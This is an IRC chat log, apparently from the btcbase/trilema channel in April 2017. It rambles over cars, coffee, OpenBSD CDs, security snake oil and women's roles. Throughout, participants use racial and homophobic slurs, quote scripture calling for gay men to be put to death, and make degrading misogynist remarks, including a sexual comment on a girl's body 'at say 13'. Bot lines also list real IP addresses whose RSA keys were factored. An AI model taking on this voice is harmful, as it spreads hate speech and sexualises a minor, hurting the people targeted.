i know of 0 evidence that the car vendors give any measurable fuck re usa roads. it's pure, unimpeded rape of the captive customer. 1644804;1492384392;a111;Logged on 2017-04-16 22:10 ben_vulpes: plastification of typical vehicle mitigates against wear and tear from ever more degraded roads. less mass, less demand on the shock absorption system. 1644805;1492384452;mircea_popescu;there's nothing there to rape. 1644806;1492384465;mircea_popescu;this is like saying "su govt raped colovek" gtfo ? 1644807;1492384474;mircea_popescu;su peon had nothing on his own. all he had - gift. 1644808;1492384475;asciilifeform;not so long ago -- iron cars. 1644809;1492384479;asciilifeform;now -- shitburger. 1644810;1492384481;mircea_popescu;pfff. 1644811;1492384483;asciilifeform;somebody ate the delta. 1644812;1492384486;asciilifeform;and not martians, no. 1644813;1492384506;mircea_popescu;if i water MY tree with beer one day and with piss another, i still don't want to hear what it thinks on the topic. 1644814;1492384534;mircea_popescu;only thing for tree is to be thankful watered at all, and thankful WAS watered once not watered anymore. 1644815;1492384576;asciilifeform;well yes, that's what american car buyer is. 1644816;1492384603;mircea_popescu;o wait, you say buyer because he... umm... what does he do ? "buys it" on "credit" ie govt gives him a car ? 1644817;1492384639;asciilifeform;mircea_popescu: unlike obummer-housing, car loan gets repaid or confiscation. 1644818;1492384646;asciilifeform;no 'forgivenesses'. 1644819;1492384651;asciilifeform;and repaid with +%. 1644820;1492384658;mircea_popescu;oh oh oh don't tell me... inca takes his own car back, used ?!?!?! 1644821;1492384679;mircea_popescu;this almost souinds like the peon bought it, totally. 1644822;1492384700;ben_vulpes;i think this gets the rest of the gcc bitching: http://p.bvulpes.com/pastes/k9CNE/?raw=true 1644823;1492384735;ben_vulpes;even funnier is the "car lease" 1644824;1492384747;mircea_popescu;many different flavours of "please don't notice same thing". 1644825;1492384757;asciilifeform;mircea_popescu: this is an appealing model but does not explain why inca would make the junk ~unrepairable, rather than sov-style durable 1644826;1492384770;asciilifeform;if it is plain overhead for inca. 1644827;1492384782;mircea_popescu;same reason it keeps bombing asphalt stretches in syria / produces "airplane" etc. 1644828;1492384795;mircea_popescu;makework. at the height of communism, 150% of soviet gdp. 1644829;1492384951;asciilifeform;fact: if you walk in with the 40k in turkeydollarz, you 1) still get a plastic piece of shit that comes apart in 5y ~exactly 2) you're out 40k turneydollarz. 1644830;1492384958;asciilifeform;*turkey 1644831;1492384962;mircea_popescu;you're also an idiot. 1644832;1492384975;mircea_popescu;40k turkey dollars buys you an ukrainian split, why the fuck would you trade it for a car. 1644833;1492384986;asciilifeform;split? 1644834;1492385002;mircea_popescu;yes, i linked the paperwork coupla days ago. what the ukr split cost was 40k. 1644835;1492385013;mircea_popescu;but -- turkey dollars 40k. us embassy barely scraped it together. 1644836;1492385016;asciilifeform;what's a split ? 1644837;1492385025;asciilifeform;ooooh 1644838;1492385026;asciilifeform;lol 1644839;1492385028;mircea_popescu;you know, when two groups of niggers call each other names. 1644840;1492385039;asciilifeform;that's rather like to say, killing kennedy cost 20cent 1644841;1492385041;asciilifeform;(bullet) 1644842;1492385047;mircea_popescu;not quite. 1644843;1492385099;asciilifeform;can asciilifeform go and split, say, czechoslovakia, with 40k ? 1644844;1492385104;asciilifeform;if not -- it dun 'cost 40k' 1644845;1492385116;asciilifeform;it 'costs 40k' + x. 1644846;1492385133;mircea_popescu;if asciilifeform can't split with 40k, asciilifeform gotta find a better shop. 1644847;1492385140;asciilifeform;this costs >0. 1644848;1492385147;asciilifeform;ergo sum >40k. 1644849;1492385198;mircea_popescu;i guess. 1644850;1492385210;mircea_popescu;get a better girlk to do better coupon clipping 1644851;1492385243;asciilifeform;which countries, mircea_popescu's bettergurlz split today ? 1644852;1492385253;mircea_popescu;berkley!!1 1644853;1492385292;asciilifeform;lul 1644854;1492385296;mircea_popescu;:D 1644855;1492385301;mircea_popescu;FUCK YOU IM A DRAGON!!! 1644856;1492385344;asciilifeform;http://btcbase.org/log/2017-04-16#1644685 << what industry was this, ben_vulpes ? 1644857;1492385344;a111;Logged on 2017-04-16 22:02 ben_vulpes: relatedly, light industry in p-town is gearing up for some serious wailing on the topic of how all of the cheap housing for their cheap labor is ~gone and now cheap labor has to buy a car and fuel/maintain/operate/park it instead of biking ten minutes to the shabby-chic warehouse from their squalid shared living setups 1644858;1492385571;asciilifeform;http://fordmaxmotordreams.com << holyfuck -- exists 1644859;1492385587;asciilifeform;(defaults to spanish, even) 1644860;1492385618;mircea_popescu;what you thought i was making it up ? 1644861;1492385627;asciilifeform;i was half-convinced it was an april1 1644862;1492385629;mircea_popescu;no, had lulz at all time checking out the "fox central nitro" 1644863;1492385851;phf;http://btcbase.org/log/2017-04-16#1644792 << ceremony is an Annapolis, md roaster 1644864;1492385851;a111;Logged on 2017-04-16 23:06 asciilifeform: it ain't local of course 1644865;1492385881;asciilifeform;many shops roast even on the grounds 1644866;1492385889;asciilifeform;i thought mircea_popescu was speaking of where the thing grows. 1644867;1492385895;mircea_popescu;phf so if i paint the car in alaska it's a local car now ? 1644868;1492385933;phf;well, if you assemble a car out of chinese parts in alaska it still wouldn't be an alaskan car, but the line gets blurry 1644869;1492385945;mircea_popescu;the roasting coffee is paint not assembly. 1644870;1492386133;asciilifeform;can -- in principle -- roast in own kitchen, on frying pan. 1644871;1492386161;mircea_popescu;moreover, the best thing roaster can do is not ruin the coffee. 1644872;1492386198;mircea_popescu;this is not a substantial contribution. but i suppose assemblage is not that different after all. 1644873;1492386207;asciilifeform;^ this is quite beyond the ability of -- afaik -- anyone in usa 1644874;1492386208;phf;well, in u.s. dominant roasting brands tend to ruin the coffee 1644875;1492386220;asciilifeform;i have 2, maybe 3 cups of unruined coffee period. 1644876;1492386223;asciilifeform;*had 1644877;1492386225;mircea_popescu;phf this is true but also you know, "everyone assembles the car with wheels on hood -- we do not" 1644878;1492386228;mircea_popescu;well... okay... 1644879;1492386572;phf;like many things discussed here, it is a situation of many causes and effects also known as "the whole spitoon" 1644880;1492386616;mircea_popescu;tru dat. 1644881;1492386620;phf;but what i was actually going to say, is that openbsd disks apparently weren't pressed. it seems like theo de raadt has been burning them by hand up until now 1644882;1492386635;asciilifeform;! 1644883;1492386638;asciilifeform;lol! 1644884;1492386645;phf;http://marc.info/?l=openbsd-misc&m=149232307018311&w=2 1644885;1492386650;asciilifeform;phf: srsly ?! iirc, danielpbarron had aluminum disks 1644886;1492386776;asciilifeform;'Goodbye CDs I'm done with you today Goodbye Goodbye Goodbye No more pre-production And no more long delays So I have peace Of mind Goodbye.' 1644887;1492386814;phf;"Anyone want to buy some well-used CD burners?" 1644888;1492386887;phf;it could be a joke, but the "well-used" part, i dunno if that's the kind joke somebody with a proper pressing plant contracts would make at the end of a long run 1644889;1492386920;danielpbarron;huh, yeah the CDs i have are the "real" kind that look aluminum 1644890;1492386923;asciilifeform;hey phf , danielpbarron , et al, any of you have any such cd nearby ? can look at it ? 1644891;1492386933;danielpbarron;i have it sitting right next to me 1644892;1492386939;asciilifeform;and 'delays' suggests -- aluminum. 1644893;1492386958;asciilifeform;(burned disks tend to happen same-week) 1644894;1492386968;asciilifeform;pressed disks -- happen at FUCKGOATS speed. 1644895;1492386995;danielpbarron;i haven't opened versions 5.6 through 5.8 but my 5.5 is the official kind of cd that looks shiny metal (not colorful) 1644896;1492387045;asciilifeform;it gets worse: 1644897;1492387046;asciilifeform;'The decision is not only economical. I don't want the "friction" of trying to achieve high-quality production of collector item data CDs twice a year, in 2017. 6.0 was a high-quality CD release like previous ones, but don't want to expend the effort of producing and testing to make sure 6.1, 6.2 etc are up to that standard. It is better to call it quits on a high note.' 1644898;1492387056;asciilifeform;looks like he's done. 1644899;1492387068;asciilifeform;done so much as trying to matter. 1644900;1492387101;asciilifeform;'Based upon income from contributors the Foundation performs a fantastic function -- making worries and problems disappear.' 1644901;1492387115;danielpbarron;speaking of.. let's see if this works now 1644902;1492387116;asciilifeform;including the 'problem' of non-remotelymodifiable copies . 1644903;1492387135;danielpbarron;!!deed http://danielpbarron.com/obsd55-cd1.iso.tar.gz.txt.asc 1644904;1492387192;phf;also, in case nobody noticed, 6.1 release has arm64 support, that relies on the base clang (that in turn was included but otherwise not used in base last december) 1644905;1492387204;asciilifeform;ugh 1644906;1492387222;asciilifeform;looks like mircea_popescu was quite right to tune out openbsd when he had. 1644907;1492387228;asciilifeform;complete snore. 1644908;1492387230;mircea_popescu;holy shit two in one day ?! 1644909;1492387421;asciilifeform;http://trilema.com/2017/from-the-bounty-of-the-internets-mp-was-right/#comment-121835 1644910;1492387522;mircea_popescu;answer't. 1644911;1492387540;asciilifeform;lol, about what new autos cost. 1644912;1492387598;mircea_popescu;just about. 1644913;1492387622;mircea_popescu;better to rent the car than the tits though. 1644914;1492387635;asciilifeform;ever see operetta 'repo' ? 1644915;1492387639;mircea_popescu;dun think so. 1644916;1492387662;asciilifeform;http://www.imdb.com/title/tt0963194 << not mega-masterpiece. but on subj. 1644917;1492387669;mircea_popescu;aite 1644918;1492387688;asciilifeform;'happiness lives in a little glass vial, a little glass vial, a little glass VIAL!111' 1644919;1492387713;asciilifeform;cast : '... Paris Hilton' << i had nfi. 1644920;1492387741;phf;that's the only reason i went to see it 1644921;1492387746;mircea_popescu;i dunno how the us bought wholesale the "straight teeth!!1" bullshit, as if anyone ever gave a shit, or as if the bidet dantures of usians are attractive to any degree. yet the "ALL girls must get proper tits" thing -- not. 1644922;1492387761;mircea_popescu;it's the rule in all south and central america btw, girls get new tits for their fucking quincenera here. 1644923;1492387786;phf;otherwise it's an awful attempt to make a modern "rocky horror", with very explicit appeal to the rocky horror crowd 1644924;1492387788;mircea_popescu;phf wouldn't you say p hilton qualifies as what alf discusses, xy skeleton ? 1644925;1492387826;mircea_popescu;~half of euro models are very much "as close to a tranny a female could get", and have been, since ~90s. 1644926;1492387843;mircea_popescu;this because fucking fags got permitted into society. shoulda put lagerfeld in jail when he was 19. 1644927;1492388187;deedbot;http://trilema.com/2017/from-the-bounty-of-the-internets-mp-was-right/ << Trilema - From the bounty of the internets : MP was right. 1644928;1492388231;phf;paris hilton is the stand in for the american culture of the 00's 1644929;1492388347;danielpbarron;!~bible lev 20:13 1644930;1492388401;danielpbarron;>> Leviticus 20:13 If a man lies with a male as he lies with a woman, both of them have committed an abomination. They shall surely be put to death. Their blood shall be upon them. 1644931;1492388469;danielpbarron;see also: http://atruechurch.info/homosexuality.html >> In its decision to declare homosexual marriage a "fundamental right," the Supreme Court has completely missed its God-given purpose. Instead of being "an avenger to execute wrath on him who practices evil," they have exalted vileness among the sons of men. And, as the Scripture says, the wicked will prowl on every side (Psalm 12:8). 1644932;1492388490;mircea_popescu;i suspect the supreme court is very unadherent to the theory it has any missions from god. 1644933;1492388604;deedbot;deeds online 1644934;1492389237;asciilifeform;elsewhere: http://314256.blogspot.com/2016/01/random-numbers-from-radiation.html << KCl d00d. though his postprocessor algo is sorta strange. 1644935;1492389279;asciilifeform;and he doesn't seem to realize that he's only picking up the gamma. 1644936;1492390027;mircea_popescu;write to him! 1644937;1492390045;asciilifeform;i'm batting 0/N so far. 1644938;1492390055;asciilifeform;let's somebody not- asciilifeform , write. 1644939;1492390105;mircea_popescu;eh wouldja stop being shy. 1644940;1492390112;mircea_popescu;and in other ugly naturals, http://68.media.tumblr.com/1b0c98ac24e15cafbfec417d8df397aa/tumblr_o87l6fwY6F1v1hlnho1_1280.jpg 1644941;1492390162;*;asciilifeform goes 'hah, a not wholly ugly!' 1644942;1492390283;mircea_popescu;just the tits. acceptable at say 13, but she looks like she imperatively needs the knife. 1644943;1492391575;doppler;pointy! 1644944;1492392333;BingoBoingo; well, if you assemble a car out of chinese parts in alaska it still wouldn't be an alaskan car, but the line gets blurry << Many proud "USA!!!" mower made in USA, even varied manufacters (even when accounting for companies collecting "badges"). Motors usually now made by Loncin motor company of China. But USA!!! made the mower!!! 1644945;1492392365;BingoBoingo; well, in u.s. dominant roasting brands tend to ruin the coffee << But ruined consistently!!! 1644946;1492392608;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CEB77044FC17881EC0A5EA941010DF040E7EB3CDA3CCEADFCB876AA2597FF565 << Recent Phuctorings. - Phuctored: 1449...4567 divides RSA Moduli belonging to '50.84.131.35 (ssh-rsa key from 50.84.131.35 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (rrcs-50-84-131-35.sw.biz.rr.com. US TX) 1644947;1492392609;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CEB77044FC17881EC0A5EA941010DF040E7EB3CDA3CCEADFCB876AA2597FF565 << Recent Phuctorings. - Phuctored: 1427...0857 divides RSA Moduli belonging to '50.84.131.35 (ssh-rsa key from 50.84.131.35 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (rrcs-50-84-131-35.sw.biz.rr.com. US TX) 1644948;1492393267;ben_vulpes;asciilifeform: printing of tshirts and stickers, leatherworking/seaming, i believe the glass fabrication folks are in on it as well 1644949;1492393335;ben_vulpes;none of it much larger than "cottage industry" 1644950;1492393828;asciilifeform;'printing of tshirts' is now 'industry' ?! 1644951;1492393866;asciilifeform;somebody excavate and inform nubbins! 1644952;1492393895;asciilifeform;incidentally i still have a crate and a half of s.nsa shirts here. 1644953;1492393958;asciilifeform;originally i was ready to include them with FUCKGOATS but found that it would require even larger and costlier (shipment overseas is already outrageous, costs > the hardware ) parcel . 1644954;1492393981;mircea_popescu;eh, gift them to people you like. 1644955;1492393985;asciilifeform;already did. 1644956;1492393997;asciilifeform;there are many, many more in the inventory, than there are people i like. 1644957;1492394006;asciilifeform;( most of whom -- already got one . ) 1644958;1492394060;asciilifeform;i have literally a cubic metre of'em. 1644959;1492394103;danielpbarron;you were supposed to send some to me! 1644960;1492394109;asciilifeform;hmm 1644961;1492394119;asciilifeform;yes! 1644962;1492394123;mircea_popescu;so like more people. and write to more people. 1644963;1492394137;asciilifeform;no he's right, iirc he even paid for this, and somehow it fell through the floor 1644964;1492394140;mircea_popescu;also, rent a pool, get all the girls to do t-shirt only, make video, wear bling. 1644965;1492394151;danielpbarron;if you have 100 to spare i can throw them in with my own FUCKGOATS orders :D 1644966;1492394152;asciilifeform;danielpbarron would you kindly resent the qty & destination. 1644967;1492394178;danielpbarron;yessir 1644968;1492394182;asciilifeform;ty danielpbarron . 1644969;1492395076;danielpbarron;asciilifeform, http://wotpaste.cascadianhacker.com/pastes/foIIo/?raw=true ; I don't recall the original amount, and I don't know that I ever paid you for them anyway. I think even then it was to be a gift. I did pay nubbins, and he never sent them, and was supposed to refund payment, but I don't think that ever came either 1644970;1492395132;danielpbarron;this all happened right around the time of the chan fork 1644971;1492395141;asciilifeform;nono danielpbarron did pay. 1644972;1492395150;asciilifeform;crate will go out this wk. 1644973;1492395157;danielpbarron;lol, cool 1644974;1492395724;BingoBoingo;How much is t-shirt? 1644975;1492395745;asciilifeform;0 + postage to l1 1644976;1492395747;asciilifeform;while they last. 1644977;1492395774;BingoBoingo;And how much is postage? 1644978;1492395788;asciilifeform;depends how many pieces, neh 1644979;1492395818;BingoBoingo;What sizes do you have? 1644980;1492395826;asciilifeform;pretty sure they only existed in 1 1644981;1492395830;asciilifeform;but not entirely 1644982;1492395836;asciilifeform;will have to open the crates, see. 1644983;1492396505;mircea_popescu;nah were various sizes 1644984;1492402786;mircea_popescu;BingoBoingo patriotic americanS ? 1644985;1492402872;BingoBoingo;ty fxd 1644986;1492402883;mircea_popescu;also "invaded in their space" 1644987;1492403505;BingoBoingo;ty fxd 1644988;1492404908;mircea_popescu;meanwhile at "yes we can" anal camp, http://68.media.tumblr.com/94685d9df2332cecde4bb83d576a7db0/tumblr_nyub3n9RxV1u7izcgo1_1280.jpg 1644989;1492405219;ben_vulpes;ho ho ho si se puede indeed 1644990;1492405255;mircea_popescu;lel 1644991;1492405310;ben_vulpes;from the annals of well-engineered application of force: https://68.media.tumblr.com/ae3acc647db92af58702b31087b30b78/tumblr_oohx87Hr2R1vnq1cro1_400.gif 1644992;1492405429;mircea_popescu;annals eh ? 1644993;1492405696;ben_vulpes;;) 1644994;1492407758;BingoBoingo;What if Hussein Bahamas *really* isn't Kenyan and that propaganda was started to hide the fact he is Ethiopian from the moslems? 1644995;1492407772;danielpbarron;BingoBoingo, http://wotpaste.cascadianhacker.com/pastes/8TIrc/?raw=true 1644996;1492407847;BingoBoingo;ty danielpbarron 1644997;1492407928;mircea_popescu;obama's only race is cocksucker. 1644998;1492408045;BingoBoingo;mircea_popescu: But as an ethiopian with skinny legs Obama could wreck the Kabba and start moslem end times 1644999;1492408056;mircea_popescu;heh 1645000;1492408128;BingoBoingo;Which would mean Kenya v Hawaii was a double false flag 1645001;1492409015;ben_vulpes;sheeeeit i do say this is some highly refined snake oil: http://www.spotcyber.com/ 1645002;1492409064;ben_vulpes;"You can then add some data protection by remotely encrypting data during the closed business hours when data could be exposed to wiley hackers." 1645003;1492409144;ben_vulpes;wiley hackers, i tell you! they could be trying to get in, right this minute, through the window! or maybe just by talking to their wife, they can learn enough to put into their artificial intelligence hackery machines to make guesses at your password! you need this thing! that we sell! 1645004;1492409543;deedbot;http://qntra.net/2017/04/easter-manhunt-in-us/ << Qntra - Easter Manhunt In US 1645005;1492410083;ben_vulpes;kicker is that they're nsf funded 1645006;1492415190;mats;bitbet returns 1645007;1492420843;davout;so it looks 1645008;1492428762;davout;http://btcbase.org/log/2017-04-17#1645001 <<< "Everyone has lost their patience with failed technology and broken promises." pretty lulzy 1645009;1492428762;a111;Logged on 2017-04-17 06:03 ben_vulpes: sheeeeit i do say this is some highly refined snake oil: http://www.spotcyber.com/ 1645010;1492434073;asciilifeform;in other not-quite-noose, https://archive.is/pFmNY 1645011;1492434156;asciilifeform;^ +26% over last yr. 1645012;1492436316;asciilifeform;https://bitbet.us/bet/1361/alphago-to-beat-ke-jie-in-april << 'Bet is not time-weighted.' >> lol 1645013;1492436417;mircea_popescu;o it's back ? 1645014;1492436428;asciilifeform;apparently 1645015;1492436499;asciilifeform;0 word re where it was for ~2wks 1645016;1492436609;davout;was it two weeks? more like 5 days iirc 1645017;1492436619;asciilifeform;hm 1645018;1492436679;davout;then again i don't visit it erryday 1645019;1492436858;mircea_popescu;cool. 1645020;1492437557;Framedragger;sent email kindly requesting post mortem or *anything*, can't hurt. probably lots of people did that tho. 1645021;1492437853;trinque;!!gettrust znort987 1645022;1492437853;deedbot;L1: 0, L2: 1 by 1 connections. 1645023;1492437862;trinque;^ investing in this would also not hurt. 1645024;1492437970;trinque;rather, this 1645025;1492437976;trinque;!!gettrust deedbot znort987 1645026;1492437976;deedbot;L1: 0, L2: 2 by 2 connections. 1645027;1492438968;Framedragger;^ lots of trust from lending *to* folks, heh (well i got a bit of it via that, too) 1645028;1492439439;deedbot;http://trilema.com/2017/the-story-of-monday/ << Trilema - The story of Monday 1645029;1492441889;mircea_popescu;and in other breakfasts, http://68.media.tumblr.com/bac4e5b4cfa3a01a3fb73f221f33b064/tumblr_o89g979iFc1u7c086o1_500.gif 1645030;1492442531;asciilifeform;http://btcbase.org/log/2017-04-17#1645001 << this has gotta be parody... >> 'Anti-virus, Intrusion Detection, Machine Learning... What does it all mean? We give you security you can understand. You can then move on with your life.' 1645031;1492442531;a111;Logged on 2017-04-17 06:03 ben_vulpes: sheeeeit i do say this is some highly refined snake oil: http://www.spotcyber.com/ 1645032;1492442719;ben_vulpes;asciilifeform: nominal nsf grantee 1645033;1492442776;asciilifeform;i can believe it. 1645034;1492442844;asciilifeform;( homeopath, astrologer, alchemist, perpetuum mobilist, can quite easily get 'nsf grant' if he sticks to the Official terminology, and -- importantly -- has the right pedigree / institutional cocksuckery ) 1645035;1492442846;mircea_popescu;hey, it works because there's a large contingent of morons who "want to move on with their life". what fucking life ? "make money on auto-pilot". bitch... do do what ? i wouldn't make money on auto-pilot if you paid me to! 1645036;1492442853;mircea_popescu;what the fuck do they do in all that time they saved ? 1645037;1492442867;mircea_popescu;and it's universal, "oh, buy the wife white goods so she has more time to grow bitter in!" 1645038;1492442877;mircea_popescu;fuck that shit, grind my coffee by hand every morning and be happy to be naked. 1645039;1492442913;mircea_popescu;there;s no fucking life to "get on with" outside of all the shit you don't do but should have. 1645040;1492442922;asciilifeform;people with 'no theorems to prove' rot, whether grinding coffee is motorized or with pestle. 1645041;1492442948;mircea_popescu;this is not true. 1645042;1492442960;mircea_popescu;there can be such a thing as a beautiful dog, though no dog ever proved a theorem. 1645043;1492442966;asciilifeform;dog. 1645044;1492442967;mircea_popescu;there's such a thing as a beautiful cocksucker too. 1645045;1492442980;mircea_popescu;point of life is to be a maximal you, not a maximal someone else. 1645046;1492443049;asciilifeform;if you have a wife whose maximalized version is a kind of bipedal coffee grinder -- why not instead buy motorized grinder. cheaper, quicker, lighter. 1645047;1492443058;mircea_popescu;because you like your wife. 1645048;1492443083;asciilifeform;wife who was born to grind? 1645049;1492443094;mircea_popescu;hey, you are at liberty to like whatever the fuck you like. 1645050;1492443102;mircea_popescu;i like paintings that do nothing besides just sitting there. 1645051;1492443111;mircea_popescu;what, it gotta do tricks now ? 1645052;1492443151;asciilifeform;i thought we were discussion functional items, 'white goods' etc 1645053;1492443155;asciilifeform;*discussing 1645054;1492443194;mircea_popescu;even so. 1645055;1492443241;asciilifeform;and specifically the 'so she has more time to grow bitter in!' 1645056;1492443246;asciilifeform;by that logic, armless+legless wife is best 1645057;1492443250;asciilifeform;won't stab you in the back! 1645058;1492443254;asciilifeform;won't run off. 1645059;1492443275;mircea_popescu;i don't follow ? 1645060;1492443297;asciilifeform;recall the thread re ru army where folx paint the snow -- white, and the grass -- green ? 1645061;1492443302;mircea_popescu;i do. 1645062;1492443316;asciilifeform;my current understanding is that mircea_popescu subscribes to this philosophy re women? 1645063;1492443354;mircea_popescu;do you recall the threadf where rich people ate white flour, which made poor people want to eat white flour, which made idiots misdirect some of the power of industrialization to give it to them, which made them sick, whichj continued the vicious cycle until someone figuredf it out and now people mostly eat brown flour ? 1645064;1492443354;asciilifeform;'devil makes work for idle hands' being the engl. proverb 1645065;1492443359;mircea_popescu;nah. 1645066;1492443391;asciilifeform;i thought that one was about the private auto. but it could be about 10,001 things, equally. 1645067;1492443392;*;mircea_popescu believes that it is indescribably stupid to replace the woman with a robot in her most productive activity. EVEN IF the robot would do a better job. 1645068;1492443393;asciilifeform;flour, yes 1645069;1492443440;mircea_popescu;what that most productive activity is depends on the woman, or man, or dog. to replace others may be a good idea (or not -- how smart is it to not walk because car and then gym because no exercise ?) but entirely replacing the poor sod out of productive activity and thereby world relevancy is psychological poison. 1645070;1492443454;mircea_popescu;let her ENJOY the fact that she actually is a thing of this world and contributes with her hands to this world. why shouldn't she. 1645071;1492443506;mircea_popescu;let the woman be a thing as often as practicable, it sure as fuck beats her being a figment of someone's imagination. and other alternatives DO NOT EXIST. 1645072;1492443540;asciilifeform;how does working with a power tool preclude 'contribute with hands, be a thing of this world' etc ? 1645073;1492443562;mircea_popescu;does not preclude. but in most cases, woman who no longer has to cook daily because fridge works with the reddiTV. 1645074;1492443579;mircea_popescu;which is why i say -- depends on woman. if she can be useful with a tank buy her a fucking tank, why not. 1645075;1492443597;asciilifeform;asciilifeform's pet for instance has a full complement of power equipment. and cooks daily. 1645076;1492443613;asciilifeform;which is why i suspect that it ain't about the tools. 1645077;1492443615;mircea_popescu;whole thread is a restatement of "machinery is to enhance not to replace human" 1645078;1492443620;asciilifeform;aha. 1645079;1492443633;mircea_popescu;so no, entirely not about the tools. 1645080;1492443688;mircea_popescu;the strict and unyielding fact of biology is that most women are barely qualified to chase after age-disabled spawn and make food. there's no shame in this, it being entirely natural. 1645081;1492443708;mircea_popescu;nor is there much value in replacing either function "so she can get on with her life." what fucking life ?! that was her life! 1645082;1492443725;mircea_popescu;and i say all this, of course, because http://trilema.com/2016/io-la-conoscevo-bene/ 1645083;1492443788;asciilifeform;male office plankton is a similarly abject creature 1645084;1492443794;mircea_popescu;asciilifeform incidentally ever saw one of those misfortunate dogs who got cured of their hip displasia by having ruedas delanteras attached ? 1645085;1492443804;asciilifeform;waiwat 1645086;1492443809;mircea_popescu;dog on wheels! 1645087;1492443818;asciilifeform;dun think so 1645088;1492443832;asciilifeform;but i can picture it 1645089;1492443846;mircea_popescu;craziest shit i ever saw, mostly because if one has even a vague familiarity with dogs they seem to look sadder than when they couldn[t move barely at all. 1645090;1492443851;asciilifeform;http://ortopediacanina.com/1286-thickbox_default/ruedas-delanteras-para-silla-de-ruedas.jpg << apparently standard equipment... 1645091;1492443871;mircea_popescu;you've never seen dogs so depressed. 1645092;1492443944;mircea_popescu;but then again! ever saw young dog in car ? going fast ? woooooh wuf wuf wuf!!!11 ? 1645093;1492443947;mircea_popescu;it's not the fucking wheels per se. 1645094;1492443992;asciilifeform;!#s power process 1645095;1492443993;a111;15 results for "power process", http://btcbase.org/log-search?q=power%20process 1645096;1492444011;asciilifeform;hm, none of these are it 1645097;1492444036;asciilifeform;!#s kaczynski 1645098;1492444037;a111;15 results for "kaczynski", http://btcbase.org/log-search?q=kaczynski 1645099;1492444067;asciilifeform;^ 'unabomber'(tm) d00d had a very cogent discussion of this principle, with the coffee grinding and meaningless lives, and wheel dog. 1645100;1492444082;mircea_popescu;i dun recall it, but i believe. 1645101;1492444261;asciilifeform;http://cyber.eserver.org/unabom.txt << text. grep 'power process'. 1645102;1492444277;asciilifeform;pretty obvious item imho. 1645103;1492444319;mircea_popescu;(i will for the record point out that the bread example is uniquely adequate because the centurial idiocy that is by now the only meaning of "american" started in this exact manner -- upper class bitches got white goods from westinghouse so they could have their precious butts and worthless heads freed from the chores of everyday so they could focus on... on what ? ON CHARITY!!111. review the "a one woman mission for your own 1645104;1492444319;mircea_popescu; personal salvation" 1950s bs etc. 1645105;1492444335;mircea_popescu;then the lower classes wanted it too, except who the fuck was going to be on the receiving end of all this mass industrialized chairty ? 1645106;1492444362;mircea_popescu;so noncreatures like obama were created for the purpose, and the middle east still bears the burden of this typically usian retardation) 1645107;1492444432;mircea_popescu;by 2010s it's literally a case of "watch tv and vicariously participate in the salvation of imaginary creatures". the keywords are of course "raise awareness" and "educate the public". fruits of a long shriveled vine, that nevertheless the trained eye can readily distinguish. 1645108;1492444452;mircea_popescu;these are the lower middle class women that made it! living the dream of middle class 1910s! 1645109;1492444546;mircea_popescu;somehow the point that "those misfortunate products of teratogenesis were so fucking sad not even their husbands could be paid to fuck em!!1" is never made. but no, ~nobody could be bothered with 1910s "socialite", ie, rich girl with no skills, no utility and no tits. 1645110;1492444579;mircea_popescu;they went into charity because those were the only people who couldn't say no. 1645111;1492444588;mircea_popescu;and even those -- did say no, every chance they got. 1645112;1492444618;mircea_popescu;so how about "i wonder why the terrorists hate us" is rendered as the correct and adequate "boy we must suck -- not even those sandniggers living in goat dung want us." 1645113;1492444718;asciilifeform;sorta why these folx busy themselves with eternal work of manufacturing ever-sadder charitycases 1645114;1492444776;asciilifeform;'arabs hate us and piss on our charity' 'let's bulldoze syria' 'koreans piss on us and the horse we rode in on' 'let's bulldoze korea' 1645115;1492444812;mircea_popescu;doesn't seem to be working worth a shit, but hey. 1645116;1492444826;mircea_popescu;"gotta do something" "why ?" "because of all that free time we got to get on with our lives!!!1" 1645117;1492447408;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7B1A9F452B782A5B514DAE74FD12EA0BA1838FA677C530E11F18FC0D7EB33AA7 << Recent Phuctorings. - Phuctored: 1429...3113 divides RSA Moduli belonging to '220.247.235.46 (ssh-rsa key from 220.247.235.46 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mail.adamjeelukmanjee.com. LK 1) 1645118;1492447408;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7B1A9F452B782A5B514DAE74FD12EA0BA1838FA677C530E11F18FC0D7EB33AA7 << Recent Phuctorings. - Phuctored: 1671...0723 divides RSA Moduli belonging to '220.247.235.46 (ssh-rsa key from 220.247.235.46 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mail.adamjeelukmanjee.com. LK 1) 1645119;1492447483;asciilifeform;Adamjee Lukmanjee & Sons (Pvt) Ltd. << 'Our history as Adamjee Lukmanjee and Sons Ltd can be traced back to the mid 19th century when our founder, Adamjee Lukmanjee set sail on a pioneering voyage from the Gulf of Kutch (Gujarat, India) into an unknown future in Ceylon (Sri Lanka)....' 1645120;1492447613;mircea_popescu;as a stowaway on a british vessel. 1645121;1492447655;asciilifeform;probably 1645122;1492449460;asciilifeform;in other lulzies, https://russian.rt.com/russia/article/379638-organizator-terakt-metro-peterburg << purported arrest film of train snackbar d00d 1645123;1492450242;asciilifeform;in yet-other lulz, http://archive.is/EuCL6 >> 'A three-month old baby was summoned to the US embassy in London for an interview after his grandfather mistakenly identified him as a terrorist.' 1645124;1492451611;mircea_popescu;baby's shenanigans finally coming to end! 1645125;1492451627;ben_vulpes;the spaces gcc wanted for Real True C++11 Standard Compliance appears to have not affected node behavior 1645126;1492451644;ben_vulpes;granted, i'm not looking into it too deeply beyond "m yeah blocks seem to be accruing" 1645127;1492453708;asciilifeform;ben_vulpes: remind me what this was for ? 1645128;1492453858;ben_vulpes;first step towards slicing boost, if that's even possibru 1645129;1492453926;asciilifeform;aaaah 1645130;1492453929;asciilifeform;neato 1645131;1492453961;asciilifeform;always seemed quite possible to asciilifeform after finding out re newfangled 2000s cpp 1645132;1492453979;ben_vulpes;i could be wrong, pre c++11 might have adequate for loops 1645133;1492453984;asciilifeform;it's mostly used for clean loops etc 1645134;1492453988;asciilifeform;aha 1645135;1492453992;ben_vulpes;lol right? 1645136;1492453999;asciilifeform;kinda the point of cpp11 1645137;1492454010;asciilifeform;was to subsume boost etc into the standard 